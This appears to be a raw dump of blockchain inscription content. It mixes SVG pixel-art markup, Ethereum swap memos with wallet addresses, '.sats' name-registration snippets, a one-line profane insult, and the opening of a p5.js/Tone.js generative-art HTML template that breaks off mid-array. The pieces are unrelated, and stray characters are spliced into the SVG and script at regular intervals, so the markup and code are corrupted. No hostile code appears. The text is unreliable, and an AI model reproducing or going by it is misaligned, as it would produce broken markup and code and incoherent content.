14h1m1 0h13m1 0h1m1 0h3m1 0h1m4 0h1M7 15h1m1 0h10m1 0h2m1 0h1m5 0h1M9 16h1m1 0h6m1 0h2m1 0h1m1 0h1m1 0h1m1 0h1m-18 1h1m1 0h3m1 0h3m2 0h1m2 0h1m-12 1h1m1 0h1m1 0h1m1 0hM 1m2 0h1m3 0h1m-14 1h3m2 0h1m1 0h1m-6 1h3m-2 1h1m1 1h1m37 8h1m-3 1h1m-3 1h1m-3 1h1m-24 1h1m17 2h1m-3 1h1"></path><path stroke="#9c9d9d" d="M33 8h1m1 0h3m1 0h1M30 9h1m1 0h1m1 0h1m3 0h1m1 0h2m-11 1h1m1 0h1m1 0h9m-16 1h1m1 0h1m1 0h1m1 0h1m1 0h1m1 0h1m1 0h6m-19 1h1m1 0h1m1 0h1m1 0h16m-26 1h1m1 0h2m1 0h1m1 0h1m1 0h3m1 0h8m1 0h1m1 0h1m2 0h1m-30 1h1m1 0h1m3 0h1m1 0h4m1 0h9m1 0h1m1 0h1m2 0h1m-31 1h1m2 0h1m1 0h5m1 0h11m1 0h2m1 0h1m1 0h1m-31 1h1m2 0h1m1 0h1m1 0h1m1 0h1m1 0h10m1 0h1m1 0h1m-27 1h1m3 0h2m1 0h2m1 0h11m1 0h2m1 0h1M m2 0h1m-30 1h1m1 0h1m1 0h1m1 0h2m1 0h3m1 0h5m1 0h1m1 0h1m3 0h1m-24 1h2m1 0h1m1 0h5m1 0h3m1 0h3m1 0h1m1 0h1m-20 1h14m2 0h1m1 0h1m-20 1h11m1 0h1m1 0h1m1 0h1m4 0h1m-22 1h1m1 0h4m1 0h2m1 0h1m2 0h1m-12 1h6m1 0h1m1 0h1m2 0h1m-12 1h4m1 0h1m3 0h1m-8 1h1m1 0h1m2 0h1m-4 1h1m0 1h1m23 0h1m1 1h1m-3 1h1m-8 1h1m4 0h1m-8 1h1m4 0h1m-9 1h2m4 0h1m-16 1h1m1 0h1m1 0h4m1 0h2m2 0h1m-12 1h1m1 0h1m3 0h1m2 0h2m-12 1h8m1 0h1m0 4h1m-11 1h3m3 0h2"></path><path stroke="#9fa7b1" d="M44 10h1m1 1h2m1 1h1m1 1h1m1 1h1m1 1h1M5 21h2m-2 1h3m-3 1h5m-1 1M h2m-5 1h3m1 0h2m-5 1h2m1 0h3m-5 1h2m2 0h1m-3 1h2m1 0h2m-4 1h1m1 0h1m1 0h1m-2 1h3m-4 1h1m2 0h2m-3 1h1m2 0h1m-3 1h2m1 0h1m-3 1h2m1 0h2m-4 1h2m1 0h1m15 0h1m-19 1h2m1 0h2m-3 1h1m2 0h1m-3 1h4m15 0h1m-19 1h1m1 0h2m-3 1h1m2 0h1m9 0h1m4 0h1m-17 1h2m12 0h1m-14 1h2m10 0h1"></path><path stroke="#5f6266" d="m2 13h1m-1 2h1m1 0h1m1 0h1m3 3h1m0 1h1m-4 1h1m0 1h1m4 0h1m0 1h1m41 0h1m-41 1h1m0 1h1m40 0h1m-2 1h1m-2 1h1m-3 1h1m-3 1h1m-27 7h1m1 1h1"></path><path stroke="#959089" d="m4 13h1m39 3h1m2 1h1m-16 1h1m3 0h1m4 0h1m-16 1h1m3 0h1mM 8 0h1m-26 1h1m27 1h1m-20 1h1m4 0h1m4 0h1m1 0h1m-18 1h1m6 0h1m-12 1h1m13 1h1m23 0h1m-22 1h1m18 0h2m-5 1h2m1 0h1m1 0h2m-35 1h1m25 0h6m1 0h1m-33 1h2m21 0h6m1 0h1m5 0h1m-35 1h1m20 0h4m1 0h1m4 0h2m-32 1h1m15 0h1m1 0h4m1 0h1m5 0h2m-30 1h4m11 0h4m1 0h1m4 0h2m-26 1h3m1 0h1m1 0h1m4 0h1m2 0h2m1 0h1m5 0h1m-21 1h1m4 0h2m2 0h1m8 0h1m1 0h1m-21 1h1m15 0h1m1 0h1m-14 1h2m7 0h3m-6 1h2m1 0h1m-5 1h1m1 0h1m-10 1h1m1 0h1m1 0h1m1 0h1m-6 1h1m1 0h1"></path><path stroke="#8a94a1" d="M44 13h1m1 0h1m1 0h2m-7 1h1m1 0h1m1 0h2m1 0h3m-12 1h1m2 0hM 1m1 0h1m1 0h7m-17 1h1m1 0h1m1 0h2m1 0h13m-22 1h1m2 0h1m1 0h2m1 0h3m1 0h6m1 0h4m-25 1h1m2 0h2m1 0h1m1 0h14m1 0h2m-25 1h1m1 0h1m1 0h1m1 0h10m1 0h1m1 0h5m-26 1h2m1 0h1m1 0h10m1 0h6m1 0h2m-29 1h1m1 0h1m1 0h1m1 0h4m1 0h3m1 0h8m1 0h3m-29 1h1m2 0h1m1 0h2m1 0h1m1 0h9m1 0h2m1 0h4m-26 1h1m1 0h2m1 0h11m1 0h5M6 24h3m15 0h1m1 0h3m1 0h10m1 0h5m1 0h1M9 25h1m11 0h1m1 0h1m1 0h2m2 0h9m1 0h3m1 0h4M9 26h1m13 0h1m1 0h6m1 0h4m1 0h8m-35 1h2m1 0h1m10 0h1m1 0h8m1 0h4m1 0h1m1 0h2m-32 1h1m13 0h6m1 0h4m1 0h3m-29 1h1m1 0h1m1 0h1m10 0h13m-27 1hM 1m3 0h1m13 0h4m1 0h1m-23 1h2m2 0h1m-3 1h2m1 0h1m-2 1h1m1 0h1m-2 1h1m9 0h1m1 0h1m3 0h1m2 0h1m-19 1h1m1 0h1m-2 1h1m0 1h2m0 2h1m2 0h1m4 0h1m1 0h1m3 0h1m-14 1h2m6 0h1"></path><path stroke="#737477" d="m2 14h2m-1 2h3m0 1h2m-2 1h3m-2 1h1m1 0h1m0 1h1m2 0h1m-3 1h2m46 0h1m-48 1h1m3 0h1m41 0h2m-48 1h1m1 0h1m40 0h5m-47 1h1m1 0h1m37 0h1m2 0h2m-38 1h1m34 0h1m0 1h1m-34 1h1m-6 1h1m32 1h1m-3 1h1m-31 1h1m27 0h1m-25 1h1m21 0h1m-3 1h1m-21 1h1m17 0h1m-18 1h1m5 1h1m-5 1h1m0 1h1"></path><path stroke="#88837a" d="m5 14h1m2 2h1m0 1h1m1 1hM 1m0 1h1m3 5h1m2 0h1m34 0h2m2 0h1m-43 1h2m33 0h1m1 0h2m1 0h2m-42 1h1m1 0h1m3 0h1m26 0h1m2 0h4m-39 1h4m33 0h1m-35 1h2m0 1h1m-2 1h1m1 0h2m16 0h1m13 0h1m-34 1h1m1 0h2m25 1h1m-3 1h1m-24 1h1m20 0h1m-9 1h1m5 0h1m-15 1h1m4 0h1m4 1h1"></path><path stroke="#7e8590" d="M3 15h1m1 2h1m48 0h1m1 1h1M4 19h1m3 0h1m41 0h1m1 0h1M4 20h1m4 0h1m37 0h1m6 0h1M4 21h1m5 0h1m4 0h1m35 0h1M4 22h1m6 0h1m1 0h1m31 0h1m2 0h1m-36 1h1m29 0h1m5 0h1m-10 1h1m5 0h1m-32 1h1m22 0h1m3 0h1m-30 1h1m3 0h1m18 0h1m-23 1h1m19 0h1m4 0h1m1 0h1m9 0h1m-37 1h1m9 0h1mM 6 0h1m4 0h1m-12 1h1m28 0h1m-38 1h1m9 0h3m4 0h1m15 1h1m-32 1h1m0 1h1m25 0h1m8 0h1m-35 1h1m22 0h1m-23 1h1m19 0h1m9 0h1m-30 1h2m6 0h1m2 0h1m5 0h1m9 0h1m-27 1h1m1 0h1m21 0h1m-24 1h1m1 0h1m8 0h1m1 0h1m8 0h1m-21 1h3m5 0h1m9 0h1m-3 1h1m-4 2h1m-14 1h1m10 0h1m-10 1h1m6 0h1"></path><path stroke="#40565f" d="M59 17h1M4 18h1m54 0h1M5 19h1m52 0h2M6 20h1m50 0h2M7 21h1m47 0h2M8 22h1m44 0h2M4 23h1m5 0h1m39 0h3m-42 1h1m36 0h3m-39 1h1m6 0h1m27 0h2m-35 1h1m6 0h1m23 0h2m-32 1h1m6 0h1m21 0h1M9 28h1m6 0h1m6 0h2m16 0h2m13 0h2m-41 1h1m7 0M h1m14 0h1m13 0h1m2 0h1m-39 1h1m6 0h2m9 0h2m13 0h1m4 0h1m-38 1h1m7 0h9m13 0h1m6 0h1m-37 1h1m26 0h1m8 0h1m-43 1h1m6 0h1m23 0h1m10 0h1m-34 1h1m19 0h1m10 0h2m-32 1h1m16 0h1m11 0h1m-29 1h1m13 0h1m11 0h1m-33 1h1m7 0h1m8 0h2m11 0h1m-22 1h8m12 0h1m-3 1h1m-3 1h1m-3 1h1m-18 1h1m15 0h1m-3 1h1m-12 1h1m8 0h1m-8 1h6"></path><path stroke="#b4b5b8" d="m5 20h1m-1 4h1m6 6h1m1 2h1m28 6h1m-4 1h1m1 0h1m1 0h1m-17 1h1m9 0h3m-16 1h1m2 0h2m1 0h5m2 0h1m2 0h1m-13 1h3m1 0h1m1 0h4m-10 1h10m-8 1h5"></path><path stroke="#c2c3c4" d="m30 41h1m5 0hM 2m-6 1h1m1 0h1m1 2h1"></path><g opacity="0.8" transform="translate(6 13) skewX(55) skewY(-15) scale(1.8,0.7)">.2" viewBox="0 0 24 24"><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="5" x="8"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="5" x="9"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="5" x="10"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="5" x="11"></rect><rect fill="#M 000000ff" shape-rendering="crispEdges" height="1" width="1" y="5" x="12"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="5" x="13"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="5" x="14"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="6" x="7"></rect><rect fill="#ca4e11ff" shape-rendering="crispEdges" height="1" width="1" y="6" x="8"></rect><rect fill="#ca4e11ff" shape-rendering="crispEdges" height="1" width="M 1" y="6" x="9"></rect><rect fill="#ca4e11ff" shape-rendering="crispEdges" height="1" width="1" y="6" x="10"></rect><rect fill="#ca4e11ff" shape-rendering="crispEdges" height="1" width="1" y="6" x="11"></rect><rect fill="#ca4e11ff" shape-rendering="crispEdges" height="1" width="1" y="6" x="12"></rect><rect fill="#ca4e11ff" shape-rendering="crispEdges" height="1" width="1" y="6" x="13"></rect><rect fill="#ca4e11ff" shape-rendering="crispEdges" height="1" width="1" y="6" x="14"></rect><rect fill="#000000ff" shape-rendM ering="crispEdges" height="1" width="1" y="6" x="15"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="7" x="6"></rect><rect fill="#ca4e11ff" shape-rendering="crispEdges" height="1" width="1" y="7" x="7"></rect><rect fill="#ca4e11ff" shape-rendering="crispEdges" height="1" width="1" y="7" x="8"></rect><rect fill="#ca4e11ff" shape-rendering="crispEdges" height="1" width="1" y="7" x="9"></rect><rect fill="#ca4e11ff" shape-rendering="crispEdges" height="1" width="1" y="7" x="10"></rectM ><rect fill="#ca4e11ff" shape-rendering="crispEdges" height="1" width="1" y="7" x="11"></rect><rect fill="#ca4e11ff" shape-rendering="crispEdges" height="1" width="1" y="7" x="12"></rect><rect fill="#ca4e11ff" shape-rendering="crispEdges" height="1" width="1" y="7" x="13"></rect><rect fill="#ca4e11ff" shape-rendering="crispEdges" height="1" width="1" y="7" x="14"></rect><rect fill="#ca4e11ff" shape-rendering="crispEdges" height="1" width="1" y="7" x="15"></rect><rect fill="#000000ff" shape-rendering="crispEdges" heM ight="1" width="1" y="7" x="16"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="8" x="5"></rect><rect fill="#933709ff" shape-rendering="crispEdges" height="1" width="1" y="8" x="6"></rect><rect fill="#933709ff" shape-rendering="crispEdges" height="1" width="1" y="8" x="7"></rect><rect fill="#933709ff" shape-rendering="crispEdges" height="1" width="1" y="8" x="8"></rect><rect fill="#933709ff" shape-rendering="crispEdges" height="1" width="1" y="8" x="9"></rect><rect fill="#933709ffM " shape-rendering="crispEdges" height="1" width="1" y="8" x="10"></rect><rect fill="#933709ff" shape-rendering="crispEdges" height="1" width="1" y="8" x="11"></rect><rect fill="#933709ff" shape-rendering="crispEdges" height="1" width="1" y="8" x="12"></rect><rect fill="#933709ff" shape-rendering="crispEdges" height="1" width="1" y="8" x="13"></rect><rect fill="#933709ff" shape-rendering="crispEdges" height="1" width="1" y="8" x="14"></rect><rect fill="#933709ff" shape-rendering="crispEdges" height="1" width="1" y="M 8" x="15"></rect><rect fill="#933709ff" shape-rendering="crispEdges" height="1" width="1" y="8" x="16"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="8" x="17"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="9" x="5"></rect><rect fill="#933709ff" shape-rendering="crispEdges" height="1" width="1" y="9" x="6"></rect><rect fill="#ca4e11ff" shape-rendering="crispEdges" height="1" width="1" y="9" x="7"></rect><rect fill="#933709ff" shape-rendering="cM rispEdges" height="1" width="1" y="9" x="8"></rect><rect fill="#ca4e11ff" shape-rendering="crispEdges" height="1" width="1" y="9" x="9"></rect><rect fill="#933709ff" shape-rendering="crispEdges" height="1" width="1" y="9" x="10"></rect><rect fill="#ca4e11ff" shape-rendering="crispEdges" height="1" width="1" y="9" x="11"></rect><rect fill="#933709ff" shape-rendering="crispEdges" height="1" width="1" y="9" x="12"></rect><rect fill="#ca4e11ff" shape-rendering="crispEdges" height="1" width="1" y="9" x="13"></rect><rectM fill="#933709ff" shape-rendering="crispEdges" height="1" width="1" y="9" x="14"></rect><rect fill="#ca4e11ff" shape-rendering="crispEdges" height="1" width="1" y="9" x="15"></rect><rect fill="#933709ff" shape-rendering="crispEdges" height="1" width="1" y="9" x="16"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="9" x="17"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="10" x="6"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="M 1" width="1" y="10" x="7"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="10" x="8"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="10" x="9"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="10" x="10"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="10" x="11"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="10" x="12"></rect><rect fill="#000000M ff" shape-rendering="crispEdges" height="1" width="1" y="10" x="13"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="10" x="14"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="10" x="15"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="10" x="16"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="11" x="6"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="M 1" y="11" x="7"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="11" x="8"></rect><rect fill="#80dbdaff" shape-rendering="crispEdges" height="1" width="1" y="11" x="9"></rect><rect fill="#80dbdaff" shape-rendering="crispEdges" height="1" width="1" y="11" x="10"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="11" x="11"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="11" x="12"></rect><rect fill="#000000ff" shape-M rendering="crispEdges" height="1" width="1" y="11" x="13"></rect><rect fill="#80dbdaff" shape-rendering="crispEdges" height="1" width="1" y="11" x="14"></rect><rect fill="#80dbdaff" shape-rendering="crispEdges" height="1" width="1" y="11" x="15"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="11" x="16"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="12" x="5"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="12" M x="6"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="12" x="7"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="12" x="8"></rect><rect fill="#80dbdaff" shape-rendering="crispEdges" height="1" width="1" y="12" x="9"></rect><rect fill="#80dbdaff" shape-rendering="crispEdges" height="1" width="1" y="12" x="10"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="12" x="11"></rect><rect fill="#dbb180ff" shape-rendering="M crispEdges" height="1" width="1" y="12" x="12"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="12" x="13"></rect><rect fill="#80dbdaff" shape-rendering="crispEdges" height="1" width="1" y="12" x="14"></rect><rect fill="#80dbdaff" shape-rendering="crispEdges" height="1" width="1" y="12" x="15"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="12" x="16"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="13" x="5"></reM ct><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="13" x="6"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="13" x="7"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="13" x="8"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="13" x="9"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="13" x="10"></rect><rect fill="#000000ff" shape-rendering="crispEdges"M height="1" width="1" y="13" x="11"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="13" x="12"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="13" x="13"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="13" x="14"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="13" x="15"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="13" x="16"></rect><rect fM ill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="14" x="5"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="14" x="6"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="14" x="7"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="14" x="8"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="14" x="9"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1"M width="1" y="14" x="10"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="14" x="11"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="14" x="12"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="14" x="13"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="14" x="14"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="14" x="15"></rect><rect fill="#00000M 0ff" shape-rendering="crispEdges" height="1" width="1" y="14" x="16"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="15" x="6"></rect><rect fill="#a66e2cff" shape-rendering="crispEdges" height="1" width="1" y="15" x="7"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="15" x="8"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="15" x="9"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1"M y="15" x="10"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="15" x="11"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="15" x="12"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="15" x="13"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="15" x="14"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="15" x="15"></rect><rect fill="#000000ff" shapeM -rendering="crispEdges" height="1" width="1" y="15" x="16"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="16" x="6"></rect><rect fill="#a66e2cff" shape-rendering="crispEdges" height="1" width="1" y="16" x="7"></rect><rect fill="#a66e2cff" shape-rendering="crispEdges" height="1" width="1" y="16" x="8"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="16" x="9"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="16" x=M "10"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="16" x="11"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="16" x="12"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="16" x="13"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="16" x="14"></rect><rect fill="#a66e2cff" shape-rendering="crispEdges" height="1" width="1" y="16" x="15"></rect><rect fill="#000000ff" shape-renderingM ="crispEdges" height="1" width="1" y="16" x="16"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="17" x="6"></rect><rect fill="#a66e2cff" shape-rendering="crispEdges" height="1" width="1" y="17" x="7"></rect><rect fill="#a66e2cff" shape-rendering="crispEdges" height="1" width="1" y="17" x="8"></rect><rect fill="#a66e2cff" shape-rendering="crispEdges" height="1" width="1" y="17" x="9"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="17" x="10"></recM t><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="17" x="11"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="17" x="12"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="17" x="13"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="17" x="14"></rect><rect fill="#a66e2cff" shape-rendering="crispEdges" height="1" width="1" y="17" x="15"></rect><rect fill="#000000ff" shape-rendering="crispEdgM es" height="1" width="1" y="17" x="16"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="18" x="6"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="18" x="7"></rect><rect fill="#a66e2cff" shape-rendering="crispEdges" height="1" width="1" y="18" x="8"></rect><rect fill="#a66e2cff" shape-rendering="crispEdges" height="1" width="1" y="18" x="9"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="18" x="10"></rect><rect fiM ll="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="18" x="11"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="18" x="12"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="18" x="13"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="18" x="14"></rect><rect fill="#a66e2cff" shape-rendering="crispEdges" height="1" width="1" y="18" x="15"></rect><rect fill="#000000ff" shape-rendering="crispEdges" heightM ="1" width="1" y="18" x="16"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="19" x="6"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="19" x="7"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="19" x="8"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="19" x="9"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="19" x="10"></rect><rect fill="#dbb18M 0ff" shape-rendering="crispEdges" height="1" width="1" y="19" x="11"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="19" x="12"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="19" x="13"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="19" x="14"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="19" x="15"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" widthM ="1" y="19" x="16"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="20" x="6"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="20" x="7"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="20" x="8"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="20" x="9"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="20" x="10"></rect><rect fill="#dbb180ff" shapeM -rendering="crispEdges" height="1" width="1" y="20" x="11"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="20" x="12"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="20" x="13"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="20" x="14"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="20" x="15"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="21M " x="6"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="21" x="7"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="21" x="8"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="21" x="9"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="21" x="10"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="21" x="11"></rect><rect fill="#000000ff" shape-renderingM ="crispEdges" height="1" width="1" y="21" x="12"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="21" x="13"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="21" x="14"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="22" x="6"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="22" x="7"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="22" x="8"></reM ct><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="22" x="9"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="22" x="10"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="23" x="6"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="23" x="7"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="23" x="8"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges"L height="1" width="1" y="23" x="9"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="23" x="10"></rect></g></svg>h! Aj?=:ETH.ETH:0x621c3cee22181124d47b34fc9085874af559ceb7:1348964390 6j4ion:4.QmRZN7QNzqzy1wXrBhj3V5FkDJj13t44MhMgmXzfsuJECm text/plain;charset=utf-8 "name": "satoshistore.sats" text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"Apache.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"0876.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"asics.sats"}h! text/plain;charset=utf-8 "name": "aaj.sats" text/plain;charset=utf-8 "name": "aag.sats" text/plain;charset=utf-8 "name": "aaf.sats" text/plain;charset=utf-8 "name": "aau.sats" text/plain;charset=utf-8 "name": "abo.sats" Bj@=:ETH.ETH:0xf4b750e3ec35d85B5681709210E1b0b42dd0D706:18908653::0 text/plain;charset=utf-8 Fuck You Sam Bankman-Fried .h! text/html;charset=utf-8 <meta charset="UTF-8"> <title>A simple template for launching your art on Bitcoin</title> <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.5.0/p5.min.js"></script> <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/tone/14.8.49/Tone.js"></script> <script sandbox="allow-scripts" type="text/javascript" src="https://cdn.jsdelivr.nM et/npm/tonal/browser/tonal.min.js"></script> <script type="text/javascript"> var cnv;let points=[],start=0,speed=2,wdt,margin=60,w=500,h=300,tileWidth=100,tileHeight=100,sclX=5,sclY=10,paletteIndex2=0,paletteType,paletteIndex3=0,globalNote,mainIndex=0,bnd,phi=3.14*(137.51/180),cbn=0,cbn2=0,duration=0,savedTime,startx1=0,starty1=0,start1=0,rootInc=0,format,currentKey,voiceChord=!1,randForm=0,notePlay,pastNote,keyFifths=[],sequence=[],chordArray=[],bassChord=[],reading,state,lastState,oscill,oscill2,trM ig=!1,bckg=["#F3F3F3","#000000"],palette1=[["#ce2d42","#082880","#7462f9","#f4b53f","#123676","#9c223d","#e6c7b4"],["#f43b79","#1136ed","#6b43dd","#ef9029","#4aa4ae","#69239b","#f7f1b4"],["#7fefe4","#be3edd","#70cfe5","#f2c666","#e6c7b4","#583fc4","#fff57d"],["#80aded","#7b66f7","#658fdb","#f2e18b","#f7f1b4","#773caa","#f4b537"],["#a5e2f2","#a783ed","#61c1db","#f7c872","#6eabf4","#6d52dd","#ff7db2"],["#d8d8d8","#898de0","#89afe5","#f9e78f","#85b2e8","#8110e5","#bf2b6e"],["#7094fc","#643ac9","#306bef","#9100dd","#e6M c7b4","#e2396d","#ef3a65"],["#80aded","#a28fef","#4688e8","#db003a","#f7f1b4","#d632a4","#bc174e"],["#594499","#db3e3e","#25ceb2","#02827b","#a0a09f","#56661d","#34067c"],["#425999","#bc3f3f","#9fe2cc","#108fc1","#d37676","#132691","#5b3c96"],["#ffeda1","#91205c","#2929e2","#9509b7","#70b9c0","#5474e8","#d30b8c"],["#f9cfc7","#721b74","#1c70ea","#7c1d93","#919bdb","#5574ce","#f25c87"],["#f25a7b","#e960af","#992843","#8b52f7","#6eabf4","#3714a1","#445b96"],["#ff399c","#e73250","#d32f53","#33bbff","#7de7ff","#69239b",M 